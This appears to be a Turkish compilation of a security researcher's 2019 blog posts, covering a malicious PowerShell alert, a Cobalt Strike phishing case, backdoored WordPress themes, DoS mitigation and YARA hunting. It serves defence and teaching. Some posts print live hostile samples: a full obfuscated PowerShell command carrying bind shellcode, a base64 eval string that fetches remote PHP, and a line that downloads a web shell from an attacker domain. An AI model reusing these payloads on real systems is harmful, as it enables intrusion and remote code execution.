Hack 4 Career - 2019

https://www.mertsarica.com

mertsarica

Hack 4 Career - 2019 Copyright © by Mert SARICA. All Rights Reserved.

1

Giriş

2009 yılında “Bilgi güçtür ve paylaşıldıkça artar” mottosuyla oluşturduğum blogumda, bilgi güvenliği farkındalığını arttırma adına çok sayıda teknik yazıya yer vermeye çalıştım. Yıllar içinde okurlarımdan aldığım olumlu geri dönüşler sonucunda, yazılarımı yıllar bazında e-kitap olarak derlemeye ve siber güvenlik meraklıları ile paylaşmaya karar verdim.

Emek, zaman ve kaynak ayırarak yaptığım araştırmalar sonucunda yazdığım bu yazıların, siber güvenlik alanında kendini geliştirmek isteyenler için faydalı olması dileklerimle…

1

Zararlı Powershell Analizi

Sysmon gibi ücretsiz, FireEye HX, Carbon Black Response gibi ticari EDR (endpoint detection & response) güvenlik teknolojilerine sahip olan kurumların yakından izlediği alarmların başında, hemen hemen her tehdit raporunda, araştırma yazısında adının sıklıkla geçtiği Powershell olduğunu az çok tahmin edebilirsiniz. Invoke-Obfuscation gibi yardımcı araçlar nedeniyle hedef işletim sisteminde Powershell kullanımın tespit edilmesinin çok daha zorlaştığı günümüzde, EDR teknolojilerine olan bağımlılık ve Powershell kayıtlarına olan ihtiyaç, kurumlar için elzem bir hale gelmiştir.

Her güvenlik teknolojisinde olduğu gibi EDR teknolojisinde de alarmları analiz edebilecek yetkinlikte insan kaynağı olmadan bu teknolojiye sahip olmak, kurumlar için ölü bir yatırım olmaktan öteye gidememektedir. Analistler sayesinde komut satırında tespit edilen bir alarmın günün sonunda hedef sistemin belleğinde çalıştırdığı kabukkodunun (shellcode) türüne, bağlantı noktasına kadar önemli bilgilere erişmek mümkün olabilmektedir.

Örneğin kurumunuzdaki EDR sisteminiz şüpheli bir Powershell kullanımı ile ilgili olarak aşağıdaki şekilde bir alarm ürettiğinde Siber Güvenlik Merkezi’nizdeki analistlerin en kısa sürede bu alarmı analiz etmek için işe koyulmaları gerekmektedir.

"event_values": {
"processEvent/eventType": "start",
"processEvent/process": "powershell.exe",
"processEvent/processPath": "C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe",
"processEvent/processCmdLine": "\"powershell.exe\" -noni -nop -w hidden -c &([scriptblock]::create((New-Object IO.StreamReader(New-Object IO.Compression.GzipStream((New-Object IO.MemoryStream(,[Convert]::FromBase64String('H4sIAL3yl1oCA7VWbW/iOBD+3JX2P0QrpCS6lJfCbtVKK53DS0lLWmgglHLo5CZOMDgxdZzysrf//SaQbLtq9273pItAOPaMPfM8z4wJ0tiTlMfKKtwqX96/O+pjgSNFK7HH1sAxlNLD3NOPjmChtLOVz4o2RatVi0eYxrPz82YqBInl4b18QSRKEhI9MEoSTVf+UsZzIsjxzcOCeFL5opT+LF8w/oBZbrZtYm9OlGMU+9laj3s4i6XsrBiVmvrHH6o+Pa7Nyu3HFLNEU51tIklU9hlTdeWrnh043K6IptrUEzzhgSyPaVw/KY/iBAfkGnZ7IjaRc+4nqg45wEcQmYpYgWwy98OipsKwL7iHfF+QBGzLVvzEl0QrxSljhvK7Ns3Pvk1jSSMC65IIvnKIeKIeScpdHPuM3JJgpl2TdZHyzzppL53Aqi+FbgAJr4K0uZ8ycvBT9ddhHmjT4cmpg6y/vn/3/l1Q8EyW3/EMo6PpfkwgNq3PE7o3+6xUDcWGc7DkYguvpaFIiT5Tphni09lMKW2WV8aP3WuFLVh67J6kMDd1OfVn4JNzUdrEg9PTbOHHomqRgMaktY1xRL1CN9pbIJOAkX2O5cLsGsLS1HyB+C3CSIhlBpyhTF+7tSMqv/maKWU+EcgDohKICjjUvw/mwIWmWrFNIgDp8K4C8AGolRTWuUK3xenZOxipTYaTxFD6KZSLZygOwYz4hoLihOZLKJV8P1Sfw7VTJqmHE1lsN9O/AZkf2ORxIkXqAXGQ/NBZEY9ilmFhKF3qE3Pr0LA4WH0TiSZmjMYh7PQETMBMhoAjMzkIiDGjXi87RFrRipEITPZ122E4hCrN1b6XDw6Jr76KsBD0Qb0ZGAUKL+IDhh3GpaG4VEio/wzYvZD+0/kvKv8QSVOQnAytqJGpuZWZtEvLXqb4Apc9CkICAh3BIxMn5FPDkQLw0T5UbmgTwTOxYmZ75pLW0JrWLBu+I1q3eOvUv7pcdCuitZkHyEosu9tvDbrdxtOl4zak07bkVd+SdvtusXBQ93Y0kfcW6g5pdTlp7FaXdOf0kD/ZVD7tzN26am52i9APJq0gCE8D57b2sUN74+bArJ7gXqud9sbm2qw2kjZddwd0NFheduTDxGV4FFTCu9oZppueWLg1bu8shC7mdW93GbgXc9vfTrqVs3FjidoINeO22zH51cQUqF9xcSjvRze9Mxx2HlG0eGydVUKwvcPIQm13e/kx4gOX+Xwtk/p9peK6J7T+abioVM7cO9wdJje/dSs1l8DYTYdjGI85wuHt2D0JmyfePIC9etfRCmGEBgiZYxyafHx1O/wYVNxl7foRde6Hz7Yjc72NL3xy2vqQ8QrElsIVeUHXj5qtjUUyxwxohD5aVE+Hi07eGfucZh6alt2ESyJiwuAmgbumECBijHtZW85aKNwIhz49gwIawbB+8uZIV74Z6s/9upg6P7+HGEHQoLhyj8ShnBvVTb1aheZb3TSqkOHPp9Xkq62W7WRkvTtDJd+Y7TfWM4mXeNs66/6vaOWFNYcf/1/Qep77h9WfQrBq7PN9Nfv9xC/B+at5jzGVYOhAX2DkcDW9mX6uixeX 954T4D3In+yf000qj6/hUv8bAKByiaAJAAA='))),[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))",
"processEvent/parentProcessPath": "C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe",
"processEvent/parentProcess": "powershell.exe",
}

Alarmda dikkat çeken kısımların başında GzipStream, FromBase64String, IO.MemoryStream geldiğini görebilir ve buradan yola çıkarak GZIP ile paketlenip, Base64 ile gizlenmiş bu verinin bellekte bir işlem gerçekleştirdiği varsayımında bulunabilirsiniz.

Kali üzerinde bulunan echo, base64, xxd, gunzip komut satırı araçlarından faydalanarak kısa sürede gizlenmiş bu veriyi aşağıdaki şekilde çözebilirsiniz.

Ortaya çıkan Powershell betiğinin bellekten .Net API yardımı ile Windows API fonksiyonları çağırarak özetle bellekte yer açıp, açılmış belleğe, FromBase64String() fonksiyonu içinde yer alan kod parçasını kopyaladıktan sonra yeni bir iş parçacığı (thread) oluşturup, bu kod parçasını çalıştırdığını görebilirsiniz.

FromBase64String() fonksiyonu içinde yer alan kod parçasını çözmek için ise yine echo, base64, xxd komutlarından faydalanabilirsiniz. Ancak bu defa elinizde bellekten çalışmak üzere hazırlanmış bir kabukkodu olduğu için ilave olarak shellcode2exe ve Radare2 araçlarından da faydalanmanız gerekmektedir.

Radare2 ile shellcode dosyasını analiz ettiğinizde ise aslında bunun Metasploit‘in 4444. bağlantı noktasında dinleyen bir bind kabukkodu olduğunu görebilirsiniz.

Sonuca gelecek olursak, bu örnekten yola çıkarak günümüzde gerçekleştirilen ileri seviye siber saldırılarla mücadelede EDR gibi teknolojilerden kurumların tam anlamıyla faydalanabilmeleri için alarmları analiz edebilecek yetkin insan kaynağına da bir o kadar ihtiyaçları bulunmaktadır.

Bir sonraki yazıda görüşmek dileğiyle herkese güvenli günler dilerim.

Not:

Bu yazı ayrıca Pi Hediyem Var #14 oyununun çözüm yolunu da içermektedir.

2

Önüm Arkam Sağım Solum Cobalt Strike

Son yıllarda özellikle finansal kurumlara gerçekleştirilen hedeflenmiş siber saldırılara (APT) bakıldığında, sızma testi uzmanlarının da yakından bildiği Cobalt Strike aracının kullanıldığını görebilirsiniz. Hatta Rusya’nın merkez bankası yetkililerine kulak verirseniz, 2017 yılında bu araçla 240 bankaya yapılan siber saldırılar sonucunda 17 milyon doların çalındığını öğrenebilirsiniz. Siber saldırganların taktik, teknik ve prosedürlerinin başarılı bir şekilde simülasyonunu yapmaya imkan tanıyan, özellikle gizli haberleşme özelliği ile istismar sonrası (post exploitation) kullanılan bir araç olan Cobalt Strike, özellikle güvenlik teknolojileri ve insan kaynağı yatırımdan yoksun kurumlara karşı kullanıldığında ciddi derecede sıkıntılara yol açabilmektedir.

Bu hikaye 2018 yılının Nisan ayında, finansal kurumlara ödeme sistemleri ve çözümleri sunan bir firmanın çalışanının kurumsal e-posta adresinden, bir bankanın çalışanına e-posta gönderilmesiyle başlar. E-postanın ekinde yer alan Powerpoint sunum dosyasına bakıldığında firma tarafından hazırlanmış masum bir dosya gibi görünse de, güvenlik sistemlerinde alarm üretip engellenmesi sebebiyle şüpheleri üzerine çeker ve ardından bankanın güvenlik analistleri tarafından analiz edilmeye başlanır.

Powerpoint dosyası açıldığında ortaya çıkan uyarı mesajı, dosyanın içeriğinde bağlantılar olduğunu işaret eder. Bağlantılara detaylı olarak bakıldığında, uyarı mesajında çıkan “Update Links” butonuna basıldığında Litvanya’daki bir sunucuya ait olan http://213[.]252.244.174/download/ web adresinden file.ext dosyasının indirilip çalıştırılacağı anlaşılır.

Bu bağlantının sunum dosyasının neresinde olduğunun öğrenilmesi için ise sunum.pptx dosyası 7-Zip aracı ile açılıp ortaya çıkan klasörlerde 213[.]252.244.174 adresi aratıldığında bu adresin sunum\ppt\slides\_rels\slide29.xml.rels dosyası içinde, 29. slaytta olduğu anlaşılır. 29. slayta dikkatlice bakıldığında ise bağlantının sağ alt köşeye gizlendiği görülür.

file.ext dosyasının içeriğine bakıldığında, VBS (Visual Basic Script) betiği içerisinde çağrılan, base64 ile gizlenmiş (encode) bir powershell betiği olduğu görülür. Bu betik çözüldükten (decode) sonra ise bu defa bellekte bir alana enjekte edildikten sonra CreateThread API’si ile çalıştırılan, base64 ile gizlenmiş başka bir kod ortaya çıkar. Çoğunlukla son adımda ortaya çıkan bu kod parçası bir kabukkodu olur. (shellcode)

Kabukkodu xxd aracı ile analiz edilebilir hale çevrildikten sonra Radare2‘nin rabin2 aracı ile karakter dizilerine (strings) bakıldığında bunun http(s)://213[.]252.244.174/QYkG adresi ile haberleşen bir HTTP(S) kabukkodu olabileceği anlaşılır.

Kabukkodunu dinamik olarak analiz etmeden önce 213.252.244.174 IP adresi çevrimdışı olduğu için daha önce dinamik sistem analizi esnasında Fiddler aracı ile elde edilen, https://213[.]252.244.174/QYkG adresinden indirilen ancak okunaklı olmayan pakedin (2. stage payload), Charles Proxy aracı ile test.com adresine yönlendirilmesi ve daha önce elde edilen paketi diskten okuyup istekte bulunan herhangi bir programa göndermesi sağlanır.

Dinamik sistem analizi esnasında Fiddler ile kayıt edilen HTTPS trafiğinde yer alan gizlenmiş Cookie bilgisine göre bu kabukkodunun Cobalt Strike aracına ait olduğu ihtimali güçlenir.

Kabukkodunu dinamik olarak analiz etmek için Code Cave yönteminden faydalanılarak ilgili kabukkodu (shellcode-ctek.bin), calc.exe programının son bölümündeki boş alanlara (000000000…) yerleştirilir ve bu kod parçasına kesme noktası (breakpoint) koyularak program akışının kabukkodundan devam etmesi (CreateThread) sağlanarak, kod parçası analiz edilmeye çalışılır.

Bellekte 0265000 adresine açılan DLL dosyasının karakter dizileri (strings) incelenip, araştırıldığında (#1) ve ayrıca ortaya çıkan API adresleri de Google arama motoru üzerinde araştırıldığında bu DLL dosyasının CobaltStrike aracına ve kabukkodunun da bu araçta kullanılan Metasploit’in Block Reverse Http(s) kabukkoduna ait olduğu olduğu anlaşılır.

Analizin devamında ortaya çıkan ilave bilgiler de Google arama motorunda araştırıldığında FireEye‘ın 2017 yılında Çin devleti tarafından desteklendiği iddia edilen, hukuk ve yatırım firmaları hedef aldığı belirtilen APT19 grubu ile ilgili yayınlamış olduğu araştırma yazısına ulaşılır.

Bu girişimin ardında APT 19 grubu mu vardır ve hedef mi büyütmüşlerdir bilinmez ancak tehdit raporlarında 3. parti firmalar üzerinden hacklenen firmalarla ilgili yazılar okuyan bir siber güvenlik araştırmacısı olarak bu tür hedeflenmiş, organize, ileri seviye siber saldırıların ülkemizde de gerçekleştirildiğine bu analiz yazısı ile dikkat çekmek ve özellikle finans sektöründeki firmaların bu tür siber saldırılara karşı çok dikkatli olmalarını öneririm.

Bir sonraki yazıda görüşmek dileğiyle herkese güvenli günler dilerim.

Not:

Bu yazı ayrıca Pi Hediyem Var #15 oyununun çözüm yolunu da içermektedir.

3

Arka Kapı Avı

Eskiden bir blog yazısı veya bir sunum için konu bulabilmek adına uzun mesailer harcardım. Yıllar içinde daha fazla kişiye ulaşmaya başladıkça okurlarımdan, bağlantılarımdan, takipçilerimden gelen mesajlar, Cryptokiller aracının ortaya çıkmasında olduğu gibi blog yazılarıma, sunumlarıma ilham kaynağı olmaya başladı. Bu hikaye 2018 yılının Mayıs ayında LinkedIn bağlantılarım arasında yer alan Özkan AKTEKİN isimli bir kişinin gönderdiği mesaj ile başladı.

Özkan AKTEKİN mesajında sahip olduğu bir kaç web sitesinin sürekli hacklendiğinden dem vuruyordu. Şüpheleri doğrultusunda hareket ederek araştırmalarını belli bir noktaya kadar getiren Özkan ile kısa bir görüşme yaptıktan sonra durumun WordPress teması kaynaklı olduğunu öğrendim. Yapılacaklar listesi (TODO) oldukça kabarık olan biri olarak bu konuya eğilmem biraz zaman almış olsa da farkındalık adına bu konuyu hem yazıya dökmeye hem de Istanbul Bilgi Güvenliği Konferansı‘nda sunmaya karar verdim.

Özkan’ın bahsettiği wp.com.tr sitesini ziyaret edip kısaca indirilebilen temalara baktığımda, dizin altındaki klasör ve dosyaların listelenebildiğini farkettim ve ardından 802 MB büyüklüğündeki yaklaşık 653 adet temayı indirmeye başladım.

Temaları hızlıca paketinden çıkardıktan sonra arka kapı tespitine yönelik eval gibi belli başlı anahtar kelimeleri bu dosyalar üzerinde aradığımda, çok geçmeden tüm temaların functions.php dosyasında yer alıp base64 ile gizlenmiş bir karakter dizisi dikkatimi çekti.

Bu karakter dizisini Google arama motorunda arattığımda ise temaları hem güvenlik hem de kod kalitesi amacıyla denetleyen oldukça faydalı bir site (http://themecheck.info/) ile karşılaştım. Bu karakter dizisine konu olan ve indirdiğim temalar arasında da yer alan bir temada ciddi anlamda şüpheli olan kod parçaları olduğu bu sitenin denetimi sonucunda hemen göze çarpıyordu.

Google’ın arama sonuçlarına bakmaya devam ettiğimde bu defa r10.net sitesi üzerinde 2016 yılında yazılmış bir mesaj dikkatimi çekti. Mesajı yazan kişi sağolsun zararlı kod bloğuna yer vermekle kalmayıp, arka kapı yüklü sitelerin bir listesinin tutulduğu dosyasının adresini de paylaşmıştı.

functions.php dosyasında yer alan kod bloğuna baktığımda, ana sayfaya http://www[.]fabthemes.com/fabthemes.php?getlink= adresinden istenmeyen bağlantı adreslerinin çekilmesini, eklenmesini sağlayan footer.php dosyasından çağrılan fflink() fonksiyonunu ve uzaktan komut çalıştırmaya imkan tanıyan eval() fonksiyonlarını gördüm.

http://www[.]fabthemes.com adresini ziyaret ettiğimde ise http://wp[.]com.tr gibi bir tema sitesi ile karşılaştım. Bu sitedeki tüm temaları da indirdikten sonra yine aynı şekilde eval() fonksiyonunu aradığımda http://wp[.]com.tr sitesindeki temalarda olduğu gibi functions.php ve footer.php dosyalarında zararlı kod blokları olduğunu gördüm. Burada yer alan temalardaki functions.php dosyasındaki base64 ile gizlenmiş karakter dizisi http://wp[.]com.tr sitesindekilerden farklı olduğu (ZXZhbChAZmlsZV9nZXRfY29udGVudHMoImh0dHA6Ly95YWthbGFkaW1zaXppLmNvbS95YWJhbmNpL3gudHh0IikpOw==) dikkatimi çekti.

İlk olarak base64 ile gizlenmiş aHR0cDovL3dwLmNvbS50ci93ei50eHQ= karakter dizisini çözdüğümde http://wp[.]com.tr/wz.txt adresi ile karşılaştım. Bu sayfaya gittiğimde ise karşıma kendisini wp-includes/fonts/font.php dosyasına yazan ve ardından da http://wp[.]com.tr/alankontrol/l.php adresine site adını göndererek siteyi kayıt altına aldığını tahmin ettiğim bir PHP kodu çıktı.

Base64 ile gizlenmiş karakter dizisini çözdüğümde ise bu defa u parametresinde www var ise parola soran bir form ile karşılaştım. Forma girilen parola ile kaynak kodunda yer alan parolanın md5 özet değeri (050c5218c20c624956eab832283a59b7) eşleştiği taktirde bu form üzerinden dosya sistemine dosya yüklemek mümkün olabiliyordu. (web shell) MD5 özet değerini CrackStation sitesinde arattığımda ise herhangi bir kayda rastlamadım. Bu durum, art niyetli kişinin kolay tahmin edilemeyen bir parola kullandığına işaret ediyordu.

Base64 ile gizlenmiş bir diğer ZXZhbChAZmlsZV9nZXRfY29udGVudHMoImh0dHA6Ly95YWthbGFkaW1zaXppLmNvbS95YWJhbmNpL3gudHh0IikpOw== karakter dizisini çözdüğümde ise http://yakaladimsizi[.]com/yabanci/x.txt adresi ile karşılaştım. Bu sayfaya gittiğimde ise karşıma, yapılan istekte wp parametresinde yer alan adresteki veriyi çekip, kendisini wp-includes/js/js.php dosyasına yazan ve ardından da font.php dosyasında olduğu gibi http://wp[.]com.tr/alankontrol/l.php adresine site adını gönderen PHP kodu çıktı.

Site üzerinde keşfe çıktığımda PHP web shell olduğunu gördüğüm 2 tane kaynak koduna rastladım.

050c5218c20c624956eab832283a59b7 md5 özet değerini bulmak için kariyerdunyasi.org adında bir alan adı aldıktan sonra DigitalOcean üzerinde bir WordPress site oluşturmaya ve arkakapı içeren bir temayı yüklemeye karar verdim. Tabii sitemin hacklenmesini engellemek için arka kapı içeren dosyaları sadece yapılan istekleri kayıt altına alacak şekilde değiştirdim ve devreye aldım.

Aradan kısa bir süre geçtikten sonra art niyetli kişi 050c5218c20c624956eab832283a59b7 md5 özet değeri ile eşleşen özel karakterlerden, büyük küçük harflerden ve sayılardan oluşan 13 haneli karmaşık parolasını font.php dosyasına girdi! Sayfadan beklediği yanıtı alamadıktan sonra bu defa js.php dosyasına wp parametresi ile uzaktan dosya sistemine php web shell yüklemeye imkan tanıyan raw.githubusercontent.com/eynisey/test/master/test.txt adresini iletti ve art niyetli kişinin hedef sisteme erişmesine imkan tanıyan iki yöntem de ortaya çıkmış oldu. 😉

2018 yılının Aralık ayında ise http://wp[.]com.tr/wz.txt dosyasında yer alan base64 ile gizlenmiş karakter dizisinin değiştiğini farkettim. Gizlenmiş karakter dizisini çözdüğümde font.php dosyasına daha önceki koda ilaveten $z=fopen(‘error_log.php’,’w’);fwrite($z,file_get_contents(‘http://download[.]evilc0der[.]org/shell-indir/error_log.txt’));fclose($z); print(); satırının eklendiğini gördüm. Bu kod ile font.php dosyasının yanına bir de error_log.php adı altında başka bir php web shell dosyası oluşturuluyordu. Bu php web shell dosyasının parolasının diğerlerinden farklı olması, http://wp[.]com.tr sitesinin başka bir grup tarafından hacklenmiş olabileceği ve mevcut font.php dosyasına başka bir kodun eklenmiş olma ihtimalini arttırıyordu.

Araştırmamı tamamlamadan önce http://www[.]wp[.]com.tr/wp-includes/ klasörünü gezmeye devam ettiğimde ise daha önce tespit ettiğim ve parolası içinde yazan a.php dosyası ile de karşılaşmış oldum.

Sadede gelecek olursam, internetten ücretsiz olarak indirdiğiniz WordPress temalarını kurmadan önce muhakkak http://themecheck.info/ isimli sitede temanızı kontrol etmenizi tavsiye ederim aksi halde pusuya yatmış olan art niyetli kişilerin kurbanı olmanız göreceğiniz üzere hiç de zor değil.

Bir sonraki yazıda görüşmek dileğiyle herkese güvenli günler dilerim.

4

DoS ile Mücadele

2009 yılından bu yana “Bilgi güçtür ve paylaşıldıkça artar!” sloganıyla siber güvenlik alanına meraklılar için özveriyle yaşatmaya çalıştığım blogumun bundan yıllar yıllar önce bir DDoS saldırısı ile karşı karşıya kaldığını ve daha sonrasında blogumu Cloudflare arkasına taşıdığımı anımsıyorum. Son birkaç yıldır ise DDoS ve DoS benzeri bir saldırı ile karşılaşmamış olmanın verdiği rehavet ile ne işletim sistemi üzerinde OSSEC gibi bir HIDS‘i, ne Cloudflare, ne WordPress ne de Nginx üzerinde bu tür saldırılara karşı (Wordfence rate limiting, modsecurity vs.) bir koruma özelliğini devreye almamıştım.

15 Temmuz 2018 tarihinde blogumu ziyaret etmeye çalıştığımda web sunucusunun geç yanıt verdiğini farkettim. “Acaba bu defa neyi bozdum ?” diye kendi kendime homurdandıktan hemen sonra ssh ile sunucuma bağlandığımda herhangi bir yavaşlık farketmedim. Web sunucusundaki yavaşlığın uygulama katmanı ve/veya veritabanı ile ilgili olduğunu düşünerek top komutunu bile çalıştırmadan direk web sunucusunun erişim kayıtlarına (access.log) göz attığımda, 14 Temmuz saat 14:03 itibariyle bloguma rastgele parametreler içeren çok sayıda istekte bulunulduğunu farkettim. (HTTP DoS)

HTTP DoS saldırısını gerçekleştiren kaynak ip adreslerine bakıp, Cloudflare’in ip adreslerini gördüğümde, rehavetin bedelinden çıkardığım ilk ders (lessons learned) Cloudflare’e yapılan istekleri web sunucuma göndermek (CF-Connecting-IP başlığı) oldu. 🙂 Bir yandan saldırının tam olarak hangi ülkeden kaynaklandığını öğrenmek için Cloudflare’in Analytics sayfasındaki tehdit haritasına baktığımda DoS saldırısının Rusya‘dan yapıldığını öğrendim. (Bu cümleyi yazdıktan sonra nedense aklıma Red Alert 2’deki Tanya geldi. :))

Ben bu araştırmaları yaparken bir yandan DoS saldırısı devam ettiği için saldırıları durdurmak için Cloudflare’in panelinden Under Attack özelliğini aktif hale getirdim ve saldırı anında etkisiz hale geldi. Akabinde saldırı ile ilgili istatistiki bilgiler toplamak için öncelikle komut satırından ardından da SolarWinds‘in Loggly isimli web uygulamasından faydalandım. Loggly dışında çevrimdışı analiz için de bir yandan Apache Logs Viewer aracının çıktılarını inceledim. Analiz sonucuna göre ~24 saatte bloguma yaklaşık ~150.000 istek yapılmış ve bunlardan ~60.000 tanesi (502 HTTP Status) blogumu erişilemez hale getirmişti.

DoS saldırısı ile ilgili olarak, erişim kayıtları (access.log) üzerinden elde ettiğim bilgilere istinaden yapmış olduğum araştırmalar sonucunda birbirine benzeyen 3 farklı Python aracı (hulk.py , doser.py , attack.py) dikkatimi çekti. Bu araçların kaynak kodları ile bloguma yapılan DoS saldırısını karşılaştırdığımda, gelen isteklerin POST isteği olması sebebiyle doser.py aracı ile bu saldırının gerçekleştirildiği fikri ağır basmış oldu.

Blogumun WordPress yönetici paneline de göz gezdirdiğimde, Aranılan Terimler kısmındaki i_love_brother_This_is_not_an_attack_This_is_a_test arama terimi dikkatimi çekti. Bu terim ile ilgili göndermiş olduğum bir tweete yapılan yorumda da olduğu gibi, blogumun DDoS testlerinde akla ilk gelen blog olabileceğini de dikkate alarak Cloudflare’in yönetim paneli üzerinden Rusya ip adreslerini engelledim.

17 Temmuz tarihinde yapılan kısa süreli benzer bir saldırıda bu defa kaynak IP adreslerini görebildiğim için DoS saldırısının Fransa’da bulunan bir ip adresinden (51.254.122.14) gerçekleştirildiğini gördüm ve bu sefer de Fransa ip adreslerini Cloudflare’in yönetim paneli üzerinden engelledim.

23 Temmuz tarihinde yapılan yeni bir DoS saldırısında bu defa blogumun arama sayfasına çok sayıda i_love_you_brother arama terimi gönderdildiğini gördüm. Bu defa kaynak IP adresini (31.223.24.59) görebildiğim için IP adresinin kayıt bilgilerine baktığımda bu defa saldırının Türkiye’den yapıldığını gördüm.

Bana olan sevgisini sele dönüştürme konusunda ısrarcı olan bu Rus kardeşim ile sistematik olarak mücadele edebilmek ve benzer durumlarla mücadele etmek durumunda kalanlara yol gösterme adına çeşitli araçlardan faydalanmaya karar verdim.

İlk olarak gerçekleştirilen genel DoS saldırılarından hızlıca haberdar olabilmek için OSSEC HIDS yazılımını işletim sistemine kurdum. Buna ilaveten bu saldırıyı tespit edebilmek için de özel olarak bir kural hazırlayıp bu kuralı /var/ossec/rules/http_dos_rules.xml adı altında kaydettikten sonra kuralı içeren dosyayı da /var/ossec/etc/ossec.conf dosyasına kaydettim. ossec-logtest aracı ile de kuralın düzgün çalıştığını kontrol ettikten sonra OSSEC’i yeniden başlatıp attack.py ile bloguma ufak bir DoS saldırısı gerçekleştirdim. Saldırı sonucunda OSSEC başarıyla bu saldırıyı tespit edip beni e-posta ile hemen uyardı.

OSSEC HIDS ile benim sevgi dolu Rus kardeşimin DoS saldırısını tespit etmek yeterli olmayacağı için fail2ban aracı ile bu iki tür DoS saldırısını tespit eden özel bir kural yazıp, bu yazıda da belirtildiği şekilde Cloudflare API‘si üzerinden saldırganın ip adresini yasaklayan betikten faydalandım. Hazırladığım kuralı kontrol etmek için fail2ban-regex aracından faydalandıktan sonra attack.py ile bloguma saldırarak Cloudflare tarafından ip adresimin başarıyla yasaklandığını gördüm ve Rus kardeşimin yeni saldırıları için kedi fare oyunundaki yerimi sağlamlaştırdım. 🙂

Bir sonraki yazıda görüşmek dileğiyle herkese güvenli günler dilerim.

5

İz Peşinde

Daha önce başka bir blog yazıma daha konu olup sahte sipariş e-postaları ile hız kesmeden siber operasyonlarına devam edenlerin yıllar içinde taktik, teknik ve prosedürlerini değiştirdiklerini görebiliyoruz. Son aylarda özellikle şifreli RAR dosyaları (Liste54.rar, Ofis_Belgesi.rar, siparis_listesi.doc.rar, Siparisler.rar vb.) ile operasyonlarına devam edenlere karşı dışardan şifreli dosya kabul eden kurumların zor zamanlar yaşadıklarını tahmin etmesi güç değil. Bunun en temel sebebi ise şifreli RAR dosyası içinde yer alan çalıştırılabilir program (exe, jar), ofis dosyası (docx) güvenlik teknolojileri tarafından analiz edilemediği için son kullanıcının e-posta kutusuna iletiliyor ve bilgi güvenliği farkındalığı düşük olan son kullanıcı ve kurum için büyük bir tehdit haline geliyor.

Bu gibi tehditlerle mücadele edebilme adına Yara ile Tehdit Avı başlıklı blog yazımda olduğu gibi Yara aracından ve kurallarından faydalanabilirsiniz. Kendi yazdığınız bir Yara kuralını, kullandığınız herhangi bir güvenlik teknolojisinde devreye almadan önce hatalı tespite (false-positive) karşı olabildiğince fazla örnek üzerinde çalıştırmanızda, örneklerin her birini ayrı ayrı analiz etmenizde fayda olacaktır. Bunun için de VirusTotal‘ın ücretli (premium) servislerinden faydalanabilirsiniz.

Hem örneklere ulaşmak hem de Yara kuralınızı test etmek için VirusTotal’ın Retrohunt ve Intelligence servislerini kullanabilirsiniz. Retrohunt ile hazırladığınız bir Yara kuralını terabaytlarca büyük veri setleri üzerinde çalıştırarak örneklere ulaşmak için kullanabiliyorsunuz. Örneğin şifreli RAR olarak gönderilen bir, iki örneğini ele alacak olursak, şifreyi çözmek için kullanılması gereken parolanın yine bu şifreli RAR dosyasının içinde yer aldığını VirusTotal Intelligence üzerinde yaptığımız bir arama görebiliyoruz. Bu bilgiden yola çıkarak hazırladığımız basit bir Yara kuralını Retrohunt sayesinde 100+ TB veri seti üzerinde, 9.5 GB/s hızla çalıştırarak, yaklaşık 3 saat içinde örneklere ulaşabiliyoruz.

Örnekleri teker teker indirip, şifresiz olarak VirusTotal’a geri yüklediğimizde çoğu antivirüs yazılımının bu örnekleri başarıyla tespit edebildiğini görebiliyoruz ancak zararlı yazılımlar şifreli olarak gönderildiği sürece güvenlik teknolojilerinde Yara kuralı kullanarak bunları engellemek veya şifreli dosyaların e-posta sunucusu üzerinde yasaklanmasını sağlamak kurumlar için en etkili çözümlerden biri haline geliyor.

Sadede gelecek olursam, kimi zaman kurumunuz için yaptığınız binlerce dolarlık güvenlik teknolojileri yatırımları, tehditleri tespit etmekte yetersiz kalabilmektedir. Bu gibi durumlarda özellikle bünyelerinde Siber Güvenlik Merkezi, SOC barındıran kurumların, VirusTotal’ın ücretli hizmetlerinden faydalanmaları, Yara kuralı yazabilecek yetkinliğe sahip olmaları bu gibi basit ama etkili saldırılarla mücadelede önemli bir rol oynayacaktır.

Bir sonraki yazıda görüşmek dileğiyle herkese güvenli günler dilerim.

6

Java RAT

Art niyetli kişilerce Java programlama dili ile geliştirilmiş zararlı yazılımların ülkemizde uzun yıllardan beri kullanıldığını daha önceki yazılarımı (Java Bayt Kod Hata Ayıklaması ve Java Kaynak Kodu Dönüştücüleri) okuyanlarınız muhakkak hatırlayacaklardır. Her ne kadar Java, yorumlanan (interpreted) bir programlama dili olması sebebiyle kaynak koduna, bayt koduna rahatlıkla çevrilebilir olsa da, son yıllarda ileri seviye gizleme araçlarının (obfuscator) kullanılması sebebiyle statik kod analizi, güvenlik araştırmacıları için çetrefilli bir hal aldı.

Yıllar geçtikçe, gizleme yöntemi kullanan Java zararlı yazılımlarını hızlı bir şekilde analiz etmek için Frida gibi (Dynamic instrumentation toolkit) bir araç kiti hala nasıl geliştirilmez diye içten içe hayıflanırken bir yandan da yeni araçları araştırmaya başladım. Kısa bir araştırmadan sonra Jason GEFFNER isimli güvenlik araştırmacısının 2016 yılında, özellikle tersine mühendisler ve istismar kodu geliştiricileri için düzenlenen Recon.CX güvenlik konferansında gerçekleştirdiği Java Journal & Pyresso: A Python-Based Framework for Debugging Java (video) adındaki sunumuna (slideshare) denk geldim.

Java Journal & Pyresso, Python temelli olarak geliştirilmiş olup Java uygulamasını dinamik olarak izlemeye (dynamic tracing), hata ayıklaması yapılmasına imkan tanıyan bir yazılım iskeletidir. (framework)

Hem yakın zamanda elime düşen Java ile geliştirilmiş bir zararlı yazılımı hızlıca analiz etmek, hem Java Journal & Pyresso ikilisine göz atmak hem de bu konuyu 16. Pi Hediyem Var oyununa dönüştürmek için işe koyuldum.

Gelen şüpheli e-postada yer alan resme tıklandığında https://storage.googleapis.com/officexel/ adresinden “Remittance invoice.zip” dosyasını indiriyordu. ZIP dosyasının içinde ise beklenildiği üzere aynı isimde bir JAR dosyası bulunuyordu. https://storage.googleapis.com/officexel/ adresini 5 gün arayla ziyaret ettiğimde dosya isimlerinin değiştiği dolayısıyla art niyetli kişilerin aktif olarak burayı kullandıkları göze çarpıyordu.

